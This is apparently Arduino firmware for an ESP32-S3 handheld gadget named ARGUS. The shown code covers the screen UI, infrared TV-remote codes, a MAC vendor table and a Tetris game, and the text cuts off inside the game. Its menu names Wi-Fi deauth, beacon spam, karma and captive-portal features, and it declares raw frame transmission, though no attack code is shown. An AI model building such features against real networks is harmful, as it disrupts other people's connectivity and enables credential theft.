Загрузка данных


#include <Arduino.h>
#include <SPI.h>
#include <Wire.h>
#include <WiFi.h>
#include "esp_wifi.h"
#include <WebServer.h>
#include <DNSServer.h>
#include <Adafruit_GFX.h>
#include <Adafruit_ST7735.h>
#include <Adafruit_NeoPixel.h>
#include <IRremoteESP8266.h>
#include <IRrecv.h>
#include <IRsend.h>
#include <IRutils.h>
#include <esp_now.h>

extern "C" esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);

// ================= PINS (ESP32-S3) =================
constexpr int TFT_CS   = 10;
constexpr int TFT_RST  = 8;
constexpr int TFT_DC   = 9;
constexpr int TFT_BL   = 7;
constexpr int BTN_BACK   = 15;
constexpr int BTN_NEXT   = 4;
constexpr int BTN_SELECT = 5;
constexpr int BUZZER_PIN = 16;
constexpr int IR_PIN     = 1;
// Onboard addressable RGB LED on many ESP32-S3 boards. Change if your board uses another pin.
constexpr int RGB_LED_PIN = 48;
constexpr uint16_t RGB_LED_COUNT = 1;

// ================= COLORS =================
constexpr uint16_t COL_BG      = 0x0000;
constexpr uint16_t COL_ACCENT  = 0xFC00;
constexpr uint16_t COL_ACCENT2 = 0xFD20;
constexpr uint16_t COL_DIM     = 0x7BEF;
constexpr uint16_t COL_TEXT    = 0xFFFF;
constexpr uint16_t COL_WARN    = 0xFC00;
constexpr uint16_t COL_OK      = 0xFD20;

// ================= OBJECTS =================
Adafruit_ST7735 tft(TFT_CS, TFT_DC, TFT_RST);
IRsend irsend(IR_PIN);
IRrecv irrecv(IR_PIN);
decode_results irResults;
WebServer portalServer(80);
DNSServer dnsServer;
Adafruit_NeoPixel rgbLed(RGB_LED_COUNT, RGB_LED_PIN, NEO_GRB + NEO_KHZ800);

// ================= ENUMS =================
enum Screen {
MAIN, WIFI_MENU, WIFI_SCAN, WIFI_INFO, WIFI_STATUS, WIFI_HOTSPOT,
BEACON_SPAM, CAPTIVE_PORTAL, SNIFFER, DEAUTH, RADAR, DEAUTH_DETECTOR, KARMA,
IR_MENU, IR_TV_BRANDS, IR_TV_MODELS, IR_TV_REMOTE,
IR_RECEIVE, IR_SAVED,
DISPLAY_TEST, INFO, SETTINGS, ARGUS_HUB, RGB_MENU, TETRIS_GAME, ARGUS_LINK
};

enum IRProtocol {
IR_PROTO_NEC, IR_PROTO_SAMSUNG, IR_PROTO_LG,
IR_PROTO_SONY, IR_PROTO_PANASONIC, IR_PROTO_SHARP, IR_PROTO_RC5
};

struct IRCommand { const char* name; IRProtocol protocol; uint64_t code; uint16_t bits; uint16_t repeat; };
struct IRModel   { const char* name; const char* note; const IRCommand* commands; uint8_t commandCount; };
struct IRBrand   { const char* name; const IRModel* models; uint8_t modelCount; };

// ================= GLOBALS =================
Screen screen = MAIN;
Screen prevScreen = MAIN;
bool screenEntered = true;

int mainItem = 0, wifiItem = 0, networkItem = 0, networkCount = 0;
int argusItem = 0, infoPage = 0;
int settingsItem = 0;
int irBrandItem = 0, irModelItem = 0, irCommandItem = 0;
int irSavedIdx = 0, irSavedCount = 0;

unsigned long lastButton[3] = {0, 0, 0};
constexpr uint32_t DEBOUNCE_MS = 180;
unsigned long irToastUntil = 0;
const char* irToastText = "";
uint32_t lastIrSend = 0;
constexpr uint32_t IR_SEND_GUARD_MS = 120;

bool apActive = false;
bool buzzerEnabled = true;
int brightnessLevel = 3;
constexpr int BRIGHTNESS_LEVELS = 5;
const int brightnessValues[BRIGHTNESS_LEVELS] = {30, 90, 150, 210, 255};

unsigned long irLastReceive = 0;
bool irRecvActive = false;

// ================= FORWARD =================
void clearScreen(uint16_t c = COL_BG);
void text(const char* s, int x, int y, uint16_t c, uint8_t size = 1);
void centerText(const char* s, int y, uint16_t c, uint8_t size = 1);
void header(const char* s, int iconId = -1);
void menuItem(int y, const char* s, bool sel);
void message(const char* title, const char* a, const char* b, uint16_t c = COL_TEXT);
void truncateTo(const char* src, char* out, int maxChars);
const char* ouiVendor(const uint8_t* mac);
void applyBrightness();
void irRecvStart();
void irRecvStop();
void drawIcon(int id, int x, int y, uint16_t color, int size); // Исправлено: убран default arg

// ================= ICON DRAWINGS =================
void drawIcon(int id, int x, int y, uint16_t color, int size) {
  // Compact line-art icons designed for the 160x128 ST7735 screen.
  if (size < 1) size = 1;
  switch (id) {
    case 0: { // Wi-Fi signal
      for (int arc = 0; arc < 3; ++arc) {
        int r = size * (4 + arc * 3);
        int lastX = 0, lastY = 0;
        bool haveLast = false;
        for (int deg = 225; deg <= 315; deg += 5) {
          float a = deg * PI / 180.0f;
          int px = x + (int)(cosf(a) * r);
          int py = y + (int)(sinf(a) * r);
          if (haveLast) tft.drawLine(lastX, lastY, px, py, color);
          lastX = px; lastY = py; haveLast = true;
        }
      }
      tft.fillCircle(x, y + size * 2, size, color);
      break;
    }
    case 1: { // IR remote with IR rays
      int w = size * 8, h = size * 15;
      tft.drawRoundRect(x - w/2, y - h/2, w, h, size * 2, color);
      tft.drawCircle(x, y - size*4, size, color);
      tft.fillCircle(x, y - size*4, max(1, size/2), color);
      tft.fillCircle(x, y, max(1, size/2), color);
      tft.fillCircle(x, y + size*3, max(1, size/2), color);
      // IR rays above the remote
      tft.drawLine(x - size*6, y - size*10, x - size*8, y - size*12, color);
      tft.drawLine(x, y - size*10, x, y - size*13, color);
      tft.drawLine(x + size*6, y - size*10, x + size*8, y - size*12, color);
      break;
    }
    case 2: { // Gear
      tft.drawCircle(x, y, size*6, color);
      tft.drawCircle(x, y, size*3, color);
      for (int i=0; i<8; ++i) {
        float a = i * PI / 4.0f;
        tft.drawLine(x + (int)(cosf(a)*size*6), y + (int)(sinf(a)*size*6),
                     x + (int)(cosf(a)*size*9), y + (int)(sinf(a)*size*9), color);
      }
      break;
    }
    case 3: { // Info
      tft.drawCircle(x, y, size*7, color);
      tft.fillCircle(x, y-size*3, max(1,size), color);
      tft.fillRoundRect(x-size, y-size, size*2, size*6, size, color);
      break;
    }
    case 4: { // Radar
      for (int r=size*3; r<=size*9; r+=size*3) tft.drawCircle(x,y,r,color);
      tft.drawFastHLine(x-size*9,y,size*18,color);
      tft.drawFastVLine(x,y-size*9,size*18,color);
      tft.drawLine(x,y,x+size*7,y-size*6,color);
      tft.fillCircle(x,y,size,color);
      break;
    }
    case 5: { // Tools / wrench
      tft.drawCircle(x-size*3,y-size*4,size*3,color);
      tft.drawCircle(x-size*3,y-size*4,size,color);
      tft.drawLine(x-size,y-size*2,x+size*6,y+size*6,color);
      tft.drawLine(x+size*3,y+size*6,x+size*7,y+size*2,color);
      tft.drawLine(x+size*4,y+size*7,x+size*7,y+size*4,color);
      break;
    }
    case 7: { // RGB LED symbol
      tft.drawCircle(x, y, size*6, color);
      tft.fillCircle(x-size*3, y, size, color);
      tft.fillCircle(x, y-size*3, size, color);
      tft.fillCircle(x+size*3, y, size, color);
      tft.fillCircle(x, y+size*3, size, color);
      break;
    }
    case 6: { // ARGUS: eye inside a targeting frame
      tft.drawRoundRect(x-size*11,y-size*8,size*22,size*16,size*3,color);
      tft.drawLine(x-size*8,y,x-size*3,y-size*4,color);
      tft.drawLine(x-size*3,y-size*4,x,y-size*5,color);
      tft.drawLine(x,y-size*5,x+size*3,y-size*4,color);
      tft.drawLine(x+size*3,y-size*4,x+size*8,y,color);
      tft.drawLine(x-size*8,y,x-size*3,y+size*4,color);
      tft.drawLine(x-size*3,y+size*4,x,y+size*5,color);
      tft.drawLine(x,y+size*5,x+size*3,y+size*4,color);
      tft.drawLine(x+size*3,y+size*4,x+size*8,y,color);
      tft.drawCircle(x,y,size*3,color);
      tft.fillCircle(x,y,size,color);
      tft.fillCircle(x+size,y-size, max(1,size/2), COL_TEXT);
      break;
    }
  }
}

// ================= SPI =================
inline void spiToTFT() { digitalWrite(TFT_CS, LOW); }

// ================= BUZZER =================
void toneRaw(uint16_t freq, uint16_t dur) {
if (!buzzerEnabled || freq == 0) { delay(dur); return; }
ledcWriteTone(BUZZER_PIN, freq);
delay(dur);
ledcWriteTone(BUZZER_PIN, 0);
}
void beepNav()     { toneRaw(2000, 25); }
void beepSelect()  { toneRaw(2800, 50); }
void beepBack()    { toneRaw(1500, 40); }
void beepError()   { toneRaw(800, 120); }
void beepSuccess() { toneRaw(2500, 60); delay(20); toneRaw(3200, 60); }
void playBootMelody() {
const uint16_t n[] = {523,659,784,1047};
const uint16_t d[] = {100,100,100,300};
for (int i = 0; i < 4; i++) toneRaw(n[i], d[i]);
}
void playAttackAlarm() { toneRaw(3000,80); toneRaw(2000,80); toneRaw(3000,80); }
void playSnifferPing() { toneRaw(2400,25); }
void playIRCue()       { toneRaw(3000,40); }

void applyBrightness() {
if (brightnessLevel < 0) brightnessLevel = 0;
if (brightnessLevel >= BRIGHTNESS_LEVELS) brightnessLevel = BRIGHTNESS_LEVELS - 1;
ledcAttach(TFT_BL, 5000, 8);
ledcWrite(TFT_BL, brightnessValues[brightnessLevel]);
}

// ================= BUTTONS =================
bool backPressed() {
if (digitalRead(BTN_BACK) == LOW && millis() - lastButton[0] > DEBOUNCE_MS) {
lastButton[0] = millis(); beepBack(); return true;
}
return false;
}
bool nextPressed() {
if (digitalRead(BTN_NEXT) == LOW && millis() - lastButton[1] > DEBOUNCE_MS) {
lastButton[1] = millis(); beepNav(); return true;
}
return false;
}
bool selectPressed() {
if (digitalRead(BTN_SELECT) == LOW && millis() - lastButton[2] > DEBOUNCE_MS) {
lastButton[2] = millis(); beepSelect(); return true;
}
return false;
}

// ================= DRAW HELPERS =================
void clearScreen(uint16_t c) { tft.fillScreen(c); }
void text(const char* s, int x, int y, uint16_t c, uint8_t size) {
tft.setTextColor(c); tft.setTextSize(size); tft.setCursor(x, y); tft.print(s);
}
void centerText(const char* s, int y, uint16_t c, uint8_t size) {
int w = strlen(s) * 6 * size;
int x = (160 - w) / 2; if (x < 0) x = 0;
text(s, x, y, c, size);
}
void truncateTo(const char* src, char* out, int maxChars) {
int len = strlen(src);
if (len <= maxChars) { strcpy(out, src); return; }
if (maxChars <= 2) { strncpy(out, src, maxChars); out[maxChars] = '\0'; return; }
strncpy(out, src, maxChars - 2);
out[maxChars - 2] = '.'; out[maxChars - 1] = '.'; out[maxChars] = '\0';
}
void header(const char* s, int iconId) {
tft.fillRect(0, 0, 160, 22, COL_ACCENT);
tft.setTextColor(COL_BG); tft.setTextSize(1);
tft.setCursor(28, 7); tft.print(s);
if (iconId >= 0) drawIcon(iconId, 14, 11, COL_BG, 1);
tft.drawFastHLine(0, 22, 160, COL_ACCENT2);
}
void menuItem(int y, const char* s, bool sel) {
if (sel) {
tft.fillRoundRect(4, y - 3, 152, 18, 4, COL_ACCENT);
tft.setTextColor(COL_BG); tft.setCursor(10, y); tft.print(">");
tft.setCursor(22, y); tft.print(s);
} else {
tft.setTextColor(COL_ACCENT2); tft.setCursor(22, y); tft.print(s);
}
}
void message(const char* title, const char* a, const char* b, uint16_t c) {
clearScreen();
centerText(title, 45, COL_ACCENT, 2);
if (a) centerText(a, 75, c);
if (b) centerText(b, 90, c);
}

// ================= OUI =================
const char* ouiVendor(const uint8_t* mac) {
struct OUI { uint8_t a,b; const char* v; };
static const OUI table[] = {
{0x08,0x95,"Espressif"},{0x24,0x62,"Espressif"},{0x30,0xAE,"Espressif"},
{0x34,0xAB,"Espressif"},{0x3C,0x61,"Espressif"},{0x48,0x3F,"Espressif"},
{0x54,0x5A,"Espressif"},{0x68,0xC6,"Espressif"},{0x84,0xCC,"Espressif"},
{0x8C,0xAA,"Espressif"},{0xA4,0xCF,"Espressif"},{0xB4,0xE6,"Espressif"},
{0xBC,0xDD,"Espressif"},{0xC4,0x4F,"Espressif"},{0xCC,0x50,"Espressif"},
{0xD8,0xA0,"Espressif"},{0xEC,0x94,"Espressif"},
{0x00,0x1A,"Samsung"},{0x04,0x18,"Samsung"},{0x08,0x37,"Samsung"},
{0x0C,0x71,"Samsung"},{0x10,0xD5,"Samsung"},{0x14,0x49,"Samsung"},
{0x18,0x3A,"Samsung"},{0x1C,0x5A,"Samsung"},{0x20,0x13,"Samsung"},
{0x24,0x4B,"Samsung"},{0x28,0x39,"Samsung"},{0x2C,0x44,"Samsung"},
{0x30,0x19,"Samsung"},{0x34,0x23,"Samsung"},{0x38,0xAA,"Samsung"},
{0x3C,0x5A,"Samsung"},{0x40,0x0E,"Samsung"},{0x44,0x4E,"Samsung"},
{0x48,0x13,"Samsung"},{0x4C,0x3C,"Samsung"},{0x50,0x32,"Samsung"},
{0x54,0x92,"Samsung"},{0x58,0x21,"Samsung"},{0x5C,0x0A,"Samsung"},
{0x60,0x6B,"Samsung"},{0x64,0xB8,"Samsung"},{0x68,0xEB,"Samsung"},
{0x6C,0x2F,"Samsung"},{0x70,0xF9,"Samsung"},{0x74,0x45,"Samsung"},
{0x78,0x1F,"Samsung"},{0x7C,0x61,"Samsung"},{0x80,0x57,"Samsung"},
{0x84,0x25,"Samsung"},{0x88,0x32,"Samsung"},{0x8C,0x77,"Samsung"},
{0x90,0x18,"Samsung"},{0x94,0x35,"Samsung"},{0x98,0x0C,"Samsung"},
{0x9C,0x02,"Samsung"},{0xA0,0x21,"Samsung"},{0xA4,0xEB,"Samsung"},
{0xA8,0x06,"Samsung"},{0xAC,0x5F,"Samsung"},{0xB0,0xDF,"Samsung"},
{0xB4,0x79,"Samsung"},{0xB8,0x5E,"Samsung"},{0xBC,0x14,"Samsung"},
{0xC0,0xBD,"Samsung"},{0xC4,0x57,"Samsung"},{0xC8,0x19,"Samsung"},
{0xCC,0x07,"Samsung"},{0xD0,0x22,"Samsung"},{0xD4,0x87,"Samsung"},
{0xD8,0x57,"Samsung"},{0xDC,0x71,"Samsung"},{0xE0,0x99,"Samsung"},
{0xE4,0x40,"Samsung"},{0xE8,0x03,"Samsung"},{0xEC,0x1F,"Samsung"},
{0xF0,0x25,"Samsung"},{0xF4,0x9F,"Samsung"},{0xF8,0x04,"Samsung"},
{0xFC,0xA1,"Samsung"},
{0x00,0x1B,"Apple"},{0x00,0x23,"Apple"},{0x00,0x25,"Apple"},
{0x00,0x26,"Apple"},{0x00,0x50,"Apple"},
{0x18,0xA6,"TP-Link"},{0x50,0xC7,"TP-Link"},
};
for (unsigned i = 0; i < sizeof(table)/sizeof(table[0]); i++)
if (mac[0]==table[i].a && mac[1]==table[i].b) return table[i].v;
return "Unknown";
}

// ================= IR DATABASE =================
const IRCommand irTclCommands[] = {
{"POWER",IR_PROTO_NEC,0x40BF12EDULL,32,0},{"MUTE",IR_PROTO_NEC,0x40BF926DULL,32,0},
{"SOURCE",IR_PROTO_NEC,0x40BFB04FULL,32,0},{"VOL +",IR_PROTO_NEC,0x40BFA05FULL,32,0},
{"VOL -",IR_PROTO_NEC,0x40BFF00FULL,32,0},{"CH +",IR_PROTO_NEC,0x40BF02FDULL,32,0},
{"CH -",IR_PROTO_NEC,0x40BF22DDULL,32,0},{"PLAY/PAUSE",IR_PROTO_NEC,0x40BFC23DULL,32,0},
{"0",IR_PROTO_NEC,0x40BF6897ULL,32,0},{"1",IR_PROTO_NEC,0x40BF30CFULL,32,0},
{"2",IR_PROTO_NEC,0x40BF18E7ULL,32,0},{"3",IR_PROTO_NEC,0x40BF7A85ULL,32,0},
{"4",IR_PROTO_NEC,0x40BF10EFULL,32,0},{"5",IR_PROTO_NEC,0x40BF38C7ULL,32,0},
{"6",IR_PROTO_NEC,0x40BF5AA5ULL,32,0},{"7",IR_PROTO_NEC,0x40BF42BDULL,32,0},
{"8",IR_PROTO_NEC,0x40BF4AB5ULL,32,0},{"9",IR_PROTO_NEC,0x40BF52ADULL,32,0}
};
const IRCommand irSamsungCommands[] = {
{"POWER",IR_PROTO_SAMSUNG,0xE0E040BFULL,32,0},{"MUTE",IR_PROTO_SAMSUNG,0xE0E0F00FULL,32,0},
{"SOURCE",IR_PROTO_SAMSUNG,0xE0E0807FULL,32,0},{"VOL +",IR_PROTO_SAMSUNG,0xE0E0E01FULL,32,0},
{"VOL -",IR_PROTO_SAMSUNG,0xE0E0D02FULL,32,0},{"CH +",IR_PROTO_SAMSUNG,0xE0E048B7ULL,32,0},
{"CH -",IR_PROTO_SAMSUNG,0xE0E008F7ULL,32,0}
};
const IRCommand irLgCommands[] = {
{"POWER",IR_PROTO_LG,0x20DF10EFULL,32,0},{"MUTE",IR_PROTO_LG,0x20DF906FULL,32,0},
{"SOURCE",IR_PROTO_LG,0x20DFD02FULL,32,0},{"VOL +",IR_PROTO_LG,0x20DF40BFULL,32,0},
{"VOL -",IR_PROTO_LG,0x20DFC03FULL,32,0},{"CH +",IR_PROTO_LG,0x20DF00FFULL,32,0},
{"CH -",IR_PROTO_LG,0x20DF807FULL,32,0}
};
const IRCommand irSonyCommands[] = {
{"POWER",IR_PROTO_SONY,0x0A90ULL,12,2},{"MUTE",IR_PROTO_SONY,0x0290ULL,12,2},
{"VOL +",IR_PROTO_SONY,0x0490ULL,12,2},{"VOL -",IR_PROTO_SONY,0x0C90ULL,12,2},
{"CH +",IR_PROTO_SONY,0x0090ULL,12,2},{"CH -",IR_PROTO_SONY,0x0890ULL,12,2}
};
const IRCommand irPanasonicCommands[] = { {"POWER",IR_PROTO_PANASONIC,0x40040100BCBDULL,48,0} };
const IRCommand irSharpCommands[] = { {"POWER",IR_PROTO_SHARP,0x40BFULL,15,0} };

const IRModel irTclModels[]  = {{"50P615 / RC802N","Known TCL profile",irTclCommands,sizeof(irTclCommands)/sizeof(irTclCommands[0])}};
const IRModel irSamsungModels[]={{"Common 32-bit","Common Samsung profile",irSamsungCommands,sizeof(irSamsungCommands)/sizeof(irSamsungCommands[0])}};
const IRModel irLgModels[]   = {{"Common 32-bit","Common LG profile",irLgCommands,sizeof(irLgCommands)/sizeof(irLgCommands[0])}};
const IRModel irSonyModels[] = {{"SIRC 12-bit","Common Sony SIRC profile",irSonyCommands,sizeof(irSonyCommands)/sizeof(irSonyCommands[0])}};
const IRModel irPanasonicModels[]={{"Kaseikyo 48-bit","Known Panasonic profile",irPanasonicCommands,sizeof(irPanasonicCommands)/sizeof(irPanasonicCommands[0])}};
const IRModel irSharpModels[]= {{"15-bit raw","Known Sharp profile",irSharpCommands,sizeof(irSharpCommands)/sizeof(irSharpCommands[0])}};

const IRBrand irBrands[] = {
{"TCL",irTclModels,sizeof(irTclModels)/sizeof(irTclModels[0])},
{"Samsung",irSamsungModels,sizeof(irSamsungModels)/sizeof(irSamsungModels[0])},
{"LG",irLgModels,sizeof(irLgModels)/sizeof(irLgModels[0])},
{"Sony",irSonyModels,sizeof(irSonyModels)/sizeof(irSonyModels[0])},
{"Panasonic",irPanasonicModels,sizeof(irPanasonicModels)/sizeof(irPanasonicModels[0])},
{"Sharp",irSharpModels,sizeof(irSharpModels)/sizeof(irSharpModels[0])}
};
const uint8_t IR_BRAND_COUNT = sizeof(irBrands)/sizeof(irBrands[0]);

const IRModel& selectedIrModel()    { return irBrands[irBrandItem].models[irModelItem]; }
const IRCommand& selectedIrCommand(){ return selectedIrModel().commands[irCommandItem]; }

void sendIRCommand(const IRCommand& c) {
uint32_t now = millis();
if ((uint32_t)(now - lastIrSend) < IR_SEND_GUARD_MS) return;
switch (c.protocol) {
case IR_PROTO_NEC:        irsend.sendNEC(c.code,c.bits,c.repeat); break;
case IR_PROTO_SAMSUNG:    irsend.sendSAMSUNG(c.code,c.bits,c.repeat); break;
case IR_PROTO_LG:         irsend.sendLG(c.code,c.bits,c.repeat); break;
case IR_PROTO_SONY:       irsend.sendSony(c.code,c.bits,c.repeat); break;
case IR_PROTO_PANASONIC:  irsend.sendPanasonic64(c.code,c.bits,c.repeat); break;
case IR_PROTO_SHARP:      irsend.sendSharpRaw(c.code,c.bits,c.repeat); break;
case IR_PROTO_RC5:        irsend.sendRC5(c.code,c.bits,c.repeat); break;
default: return;
}
lastIrSend = millis();
playIRCue();
}

// ================= MAIN MENU =================
// Minimal launcher: full-card icon only, no title/subtitle on cards.
const int MAIN_APPS = 6; // Wi-Fi, IR, RGB, ARGUS hub, Tetris, ARGUS LINK
unsigned long mainSlideStart = 0;
int mainSlideDir = 0;
const int SLIDE_DURATION = 130;

void drawTopStatus() {
  // Original ARGUS status bar: black background and orange accents only.
  tft.fillRect(0, 0, 160, 23, COL_BG);
  tft.setTextColor(COL_ACCENT);
  tft.setTextSize(2);
  tft.setCursor(7, 3);
  tft.print("ARGUS");
  tft.setTextSize(1);
  tft.setTextColor(COL_ACCENT2);
  tft.setCursor(112, 7);
  tft.print("v2.0");
  tft.drawFastHLine(0, 23, 160, COL_ACCENT);
  tft.fillCircle(151, 11, 2, WiFi.getMode() == WIFI_OFF ? COL_DIM : COL_ACCENT2);
}

void drawDots() {
  const int gap = 13;
  const int startX = 60;
  for (int i = 0; i < MAIN_APPS; i++) {
    int x = startX + i * gap;
    if (i == mainItem) tft.fillCircle(x, 120, 3, COL_ACCENT);
    else tft.drawCircle(x, 120, 2, COL_ACCENT2);
  }
}

void drawAppCard(int idx, int offsetX) {
  // No title or subtitle inside the card: icon-only launcher.
  const int x = offsetX, y = 31, w = 156, h = 79;
  tft.fillRoundRect(x + 2, y + 2, w, h, 8, 0x2104);
  tft.fillRoundRect(x, y, w, h, 8, COL_BG);
  tft.drawRoundRect(x, y, w, h, 8, COL_ACCENT);

  const int cx = x + w / 2;
  const int cy = y + h / 2;
  if (idx == 0) {
    // Wi-Fi symbol only: three clean arcs and a dot. No radar circles.
    for (int arc = 0; arc < 3; ++arc) {
      const int r = 12 + arc * 10;
      int px0 = 0, py0 = 0;
      bool havePrev = false;
      for (int deg = 225; deg <= 315; deg += 3) {
        float a = deg * PI / 180.0f;
        int px = cx + (int)(cosf(a) * r);
        int py = cy + (int)(sinf(a) * r) - 2;
        if (havePrev) tft.drawLine(px0, py0, px, py, COL_ACCENT2);
        px0 = px; py0 = py; havePrev = true;
      }
    }
    tft.fillCircle(cx, cy + 22, 3, COL_ACCENT2);
  } else if (idx == 1) {
    // IR remote icon, larger and centered.
    drawIcon(1, cx, cy + 2, COL_ACCENT2, 2);
  } else if (idx == 2) {
    // RGB icon: four orange monochrome light points around a central LED.
    tft.drawCircle(cx, cy, 19, COL_ACCENT2);
    tft.fillCircle(cx, cy, 7, COL_ACCENT);
    tft.fillCircle(cx, cy-17, 4, COL_ACCENT2);
    tft.fillCircle(cx+17, cy, 4, COL_ACCENT2);
    tft.fillCircle(cx, cy+17, 4, COL_ACCENT2);
    tft.fillCircle(cx-17, cy, 4, COL_ACCENT2);
  } else if (idx == 4) {
    // Cute orange Tetris blocks icon.
    tft.fillRoundRect(cx-30, cy-25, 28, 28, 4, 0xFD20);
    tft.drawRoundRect(cx-30, cy-25, 28, 28, 4, COL_TEXT);
    tft.fillRoundRect(cx-1, cy-25, 28, 28, 4, 0xFE6A);
    tft.drawRoundRect(cx-1, cy-25, 28, 28, 4, COL_TEXT);
    tft.fillRoundRect(cx-30, cy+4, 28, 18, 4, 0xFFDE);
    tft.drawRoundRect(cx-30, cy+4, 28, 18, 4, COL_TEXT);
    tft.fillRoundRect(cx-1, cy+4, 28, 18, 4, 0xFC80);
    tft.drawRoundRect(cx-1, cy+4, 28, 18, 4, COL_TEXT);
  } else if (idx == 5) {
    // Wireless link icon.
    tft.drawRoundRect(cx-25, cy-15, 32, 30, 7, COL_ACCENT2);
    tft.drawRoundRect(cx-7, cy-15, 32, 30, 7, COL_ACCENT);
    tft.drawLine(cx-4, cy, cx+4, cy, COL_TEXT);
    tft.fillCircle(cx-16, cy, 3, COL_ACCENT2);
    tft.fillCircle(cx+16, cy, 3, COL_ACCENT);
  } else {
    // ARGUS eye icon without a surrounding target/radar circle.
    const int z = 2;
    tft.drawLine(cx-30,cy,cx-15,cy-12,COL_ACCENT2);
    tft.drawLine(cx-15,cy-12,cx,cy-16,COL_ACCENT2);
    tft.drawLine(cx,cy-16,cx+15,cy-12,COL_ACCENT2);
    tft.drawLine(cx+15,cy-12,cx+30,cy,COL_ACCENT2);
    tft.drawLine(cx-30,cy,cx-15,cy+12,COL_ACCENT2);
    tft.drawLine(cx-15,cy+12,cx,cy+16,COL_ACCENT2);
    tft.drawLine(cx,cy+16,cx+15,cy+12,COL_ACCENT2);
    tft.drawLine(cx+15,cy+12,cx+30,cy,COL_ACCENT2);
    tft.drawCircle(cx,cy,8,COL_ACCENT2);
    tft.fillCircle(cx,cy,4,COL_ACCENT);
  }
}

void drawMainMenu() {
  clearScreen(COL_BG);
  drawTopStatus();
  drawAppCard(mainItem, 2);
  drawDots();
}

void tickMain(bool entered) {
  if (entered) drawMainMenu();
  if (mainSlideDir != 0) {
    if (millis() - mainSlideStart >= SLIDE_DURATION) {
      mainSlideDir = 0;
      drawMainMenu();
    }
    return;
  }
  // NEXT moves one card to the right; BACK moves one card to the left.
  if (nextPressed()) {
    mainItem = (mainItem + 1) % MAIN_APPS;
    mainSlideDir = 1;
    mainSlideStart = millis();
    drawMainMenu();
    return;
  }
  if (backPressed()) {
    mainItem = (mainItem + MAIN_APPS - 1) % MAIN_APPS;
    mainSlideDir = -1;
    mainSlideStart = millis();
    drawMainMenu();
    return;
  }
  if (selectPressed()) {
    if (mainItem == 0) { wifiItem = 7; screen = WIFI_MENU; }
    else if (mainItem == 1) screen = IR_MENU;
    else if (mainItem == 2) { screen = RGB_MENU; }
    else if (mainItem == 3) { argusItem = 0; screen = ARGUS_HUB; }
    else if (mainItem == 4) { screen = TETRIS_GAME; }
    else { screen = ARGUS_LINK; }
  }
}


// ================= CUTE ORANGE TETRIS (ARGUS APP) =================
namespace CuteTetris {
  const int W=10, H=10, CELL=10, X=30, Y=17;
  const uint16_t BG=0x10A2, PANEL=0x2124, ORANGE=0xFD20, PEACH=0xFE6A, CREAM=0xFFDE, GRID=0x39C7, GHOST=0x7BEF;
  uint8_t board[H][W];
  uint32_t score=0, lastFall=0, lastHorizontal=0, selectDownAt=0;
  uint16_t lines=0;
  uint8_t level=1, type=0, nextType=0, rot=0;
  int8_t px=3, py=0;
  bool over=false, selectWasDown=false, selectLongDone=false;
  bool backWasDown=false, nextWasDown=false, comboWasDown=false;
  int8_t bag[7]; uint8_t bagPos=7;
  const int8_t shape[7][4][4][2] = {
    {{{0,1},{1,1},{2,1},{3,1}},{{2,0},{2,1},{2,2},{2,3}},{{0,2},{1,2},{2,2},{3,2}},{{1,0},{1,1},{1,2},{1,3}}},
    {{{1,0},{2,0},{1,1},{2,1}},{{1,0},{2,0},{1,1},{2,1}},{{1,0},{2,0},{1,1},{2,1}},{{1,0},{2,0},{1,1},{2,1}}},
    {{{1,0},{0,1},{1,1},{2,1}},{{1,0},{1,1},{2,1},{1,2}},{{0,1},{1,1},{2,1},{1,2}},{{1,0},{0,1},{1,1},{1,2}}},
    {{{1,0},{2,0},{0,1},{1,1}},{{1,0},{1,1},{2,1},{2,2}},{{0,1},{1,1},{2,1},{3,1}},{{0,0},{0,1},{1,1},{1,2}}},
    {{{0,0},{1,0},{1,1},{2,1}},{{2,0},{1,1},{2,1},{1,2}},{{0,1},{1,1},{1,2},{2,2}},{{1,0},{0,1},{1,1},{0,2}}},
    {{{0,0},{0,1},{1,1},{2,1}},{{1,0},{2,0},{1,1},{1,2}},{{0,1},{1,1},{2,1},{2,2}},{{1,0},{1,1},{0,2},{1,2}}},
    {{{2,0},{0,1},{1,1},{2,1}},{{1,0},{1,1},{1,2},{2,2}},{{0,1},{1,1},{2,1},{0,2}},{{0,0},{1,0},{1,1},{1,2}}}
  };
  uint16_t colors[7]={0xFFDE,0xFE6A,0xFD20,0xFC80,0xFBE0,0xFB20,0xFD8A};

  uint8_t takePiece(){
    if(bagPos>=7){
      for(uint8_t i=0;i<7;i++) bag[i]=i;
      for(int i=6;i>0;i--){int j=random(i+1);int8_t t=bag[i];bag[i]=bag[j];bag[j]=t;}
      bagPos=0;
    }
    return bag[bagPos++];
  }
  bool hit(int nx,int ny,int nr) {
    for(int i=0;i<4;i++){
      int xx=nx+shape[type][nr][i][0], yy=ny+shape[type][nr][i][1];
      if(xx<0||xx>=W||yy>=H) return true;
      if(yy>=0 && board[yy][xx]) return true;
    }
    return false;
  }
  void spawn(){
    type=nextType; nextType=takePiece(); rot=0; px=3; py=0;
    if(hit(px,py,rot)) over=true;
    lastFall=millis();
  }
  void reset(){
    memset(board,0,sizeof(board)); score=0; lines=0; level=1; over=false;
    bagPos=7; nextType=takePiece(); spawn();
    selectWasDown=false; selectLongDone=false; backWasDown=false; nextWasDown=false; comboWasDown=false;
    lastFall=millis();
  }
  void cell(int x,int y,uint16_t c){
    int xx=X+x*CELL, yy=Y+y*CELL;
    tft.fillRoundRect(xx,yy,CELL-1,CELL-1,1,c);
    tft.drawFastHLine(xx+1,yy+1,CELL-3,CREAM);
  }
  void draw(){
    tft.fillScreen(BG);
    tft.setTextSize(1);
    tft.setTextColor(ORANGE); tft.setCursor(4,4); tft.print("ARGUS");
    tft.setTextColor(CREAM); tft.setCursor(51,4); tft.print("TETRIS");
    tft.setTextColor(PEACH); tft.setCursor(104,4); tft.print("S:"); tft.print(score);
    tft.fillRoundRect(X-2,Y-2,W*CELL+4,H*CELL+4,3,PANEL);
    tft.fillRect(X,Y,W*CELL,H*CELL,BG);
    for(int y=0;y<H;y++){
      tft.drawFastHLine(X,Y+y*CELL,W*CELL,GRID);
      for(int x=0;x<W;x++) if(board[y][x]) cell(x,y,colors[board[y][x]-1]);
    }
    if(!over){
      for(int i=0;i<4;i++){
        int xx=px+shape[type][rot][i][0], yy=py+shape[type][rot][i][1];
        if(xx>=0&&xx<W&&yy>=0&&yy<H) cell(xx,yy,colors[type]);
      }
    }
    if(over){
      tft.fillRoundRect(17,48,126,32,5,PANEL);
      tft.drawRoundRect(17,48,126,32,5,ORANGE);
      tft.setTextColor(CREAM); tft.setCursor(48,58); tft.print("GAME OVER");
